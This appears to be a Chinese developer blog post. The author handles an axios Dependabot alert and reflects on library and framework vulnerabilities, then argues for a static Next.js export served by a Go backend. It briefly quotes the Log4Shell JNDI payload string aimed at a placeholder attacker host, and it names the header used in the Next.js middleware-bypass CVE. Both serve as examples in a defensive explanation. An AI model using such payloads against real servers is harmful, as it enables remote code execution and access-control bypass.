前两天收到 GitHub Dependabot 邮件,说我一个项目命中了 axios 的高危漏洞(GHSA-gcfj-64vw-6mp9,"Node HTTP adapter 在拦截器克隆 config 后可能继承非预期的代理")。处理很简单:axios 1.16 升到 1.18,顺手把 npm audit 里剩下的 brace-expansion、js-yaml、sharp 几条也清了,audit 归零收工。
事情本身没什么好说的,但过程中我一直在想一个问题:axios 不就是个发 HTTP 请求的库吗,怎么年年都有漏洞?
漏洞从来不在核心功能,而在"贴心"的边缘逻辑
翻了下这次修掉的几个 advisory,很有代表性:
- formDataToJSON 递归 DoS:axios 会自动把
a[b][c][d]=1这种表单键名解析成嵌套 JSON。解析是递归的,攻击者构造一个嵌套几万层的键名,CPU 直接打满。 - 原型链污染注入 Basic auth:axios 合并配置(默认配置 + 实例配置 + 单次请求配置)时做深合并,没防住
__proto__这类键,攻击者可控的配置片段能污染到auth字段。 - 拦截器克隆后继承代理(就是告警那条 high):拦截器里克隆 config 时,Node 适配器可能意外继承环境里的 proxy 设置,请求被发往非预期的代理,流量可能被第三方看到。
发现规律没有?没有一个洞出在"发 HTTP 请求"这个核心动作上。全部出在便利功能:自动数据转换、配置深合并、代理支持。功能越"聪明"的库,攻击面越大。
这个规律的极端案例就是 Log4Shell。一个日志库,本职是把字符串写进文件,但 Log4j 非要支持日志内容里 ${...} 变量替换,还支持 JNDI 远程查找——于是攻击者在用户名框里填一串 ${jndi:ldap://attacker.com/x},服务端一句 log.info("login: " + username) 就是远程代码执行。CVSS 满分 10.0,从 Minecraft 服务器到 AWS 全球排查了几个星期。漏洞不在核心功能,在多余的聪明。
npm 告警多是"噪音大",框架层的洞才是真疼
做前端的应该都有体感:Dependabot 告警就没停过。但这里要分两类看。
第一类是依赖树噪音。npm 生态习惯把功能拆成微型包,中型项目传递依赖轻松上千个,任何角落出 advisory 都给你弹告警。我这次修的 brace-expansion、js-yaml 就是典型——我根本没直接用过它们。这类告警数量吓人,但大多数在你的实际使用场景下根本触发不了,跟着升级就行,不用逐条焦虑。
第二类是框架层漏洞,这才是要命的。Next.js 这两年的几个大 CVE 是典型:
- CVE-2025-29927:请求头带上
x-middleware-subrequest就能整体绕过 middleware。多少项目把鉴权写在 middleware 里,等于大门敞开。根因是框架信任了一个本该只有自己能设置的内部 header。 - 另外还有 Server Actions 的 SSRF、缓存投毒(把带用户数据的响应污染进公共缓存)之类。
框架层漏洞疼在两点:一是所有用它的站点集体裸奔;二是这些逻辑对使用者是黑盒,你自己代码写得再干净也防不住。Next.js 把路由、中间件、缓存、SSR 全糅在一个运行时里,每一块都是暴露在公网的服务端攻击面。
我的应对:前端只出静态文件,服务端交给 Go
我现在的项目基本都是一个套路:Next.js 只做静态导出(output: 'export'),服务端用 Go,由 Go 同时托管静态文件和 /api。
这个架构下前端产物就是一堆 HTML/JS/CSS,服务器上没有 Node 运行时、没有 middleware、没有 Server Actions——上面那些 Next.js CVE 一个都打不到我,鉴权全在 Go 后端自己手里。Docker 镜像基于 Alpine 连 Node 都没装。前端框架的漏洞面被压缩到"构建工具链"级别,只在 CI 里存在,运行时攻击面基本归零。
所以这次几个告警对我只是"升级依赖"的小事,而不是"连夜打补丁"的事故。
顺便聊聊生态差异
有人会说这是不是"Node 不行"。准确说不是语言不行,是生态文化和攻击面形状的差别:
- 依赖文化:Go 标准库覆盖面大(HTTP、加密、JSON 全内置),社区推崇少依赖。同一个项目,
go.sum和package-lock.json的依赖数差一个数量级,供应链入口自然少。npm 那边维护者账号被钓鱼发恶意版本、废弃包被接管、postinstall直接执行任意代码的事故年年有。 - 语言特性:原型链污染这类漏洞在 Go 里根本不存在——结构体字段编译期定死,没有"往对象上随便挂属性"这回事。静态类型 + 内存安全 + 单二进制,运行时不会加载意外的代码。
- 但别神化 Go:Log4Shell 是 Java 的;Go 标准库也年年有 CVE(
net/http请求走私、路径遍历之类),只是危害形态多是 DoS / 解析类,很少是"一个 header 绕过全部鉴权"这种级别。
最后说句实在的:大部分真实安全事故根本不在语言层。弱密码、鉴权逻辑写错、越权查询、SSRF,这些用什么语言都躲不掉。生态选择决定的是"底噪"高低——底噪低了,你才有精力盯真正重要的业务安全。
TL;DR:
- HTTP 库的漏洞几乎都出在自动转换、配置合并这些"贴心功能"上,核心功能反而最稳
- npm 告警多数是依赖树噪音,跟着升级即可;框架层 CVE(如 Next.js middleware 绕过)才需要严肃对待
- Next.js 静态导出 + Go 后端的组合能把服务端 JS 攻击面直接砍掉
- 生态选择决定安全底噪,但真正的事故大头永远是业务逻辑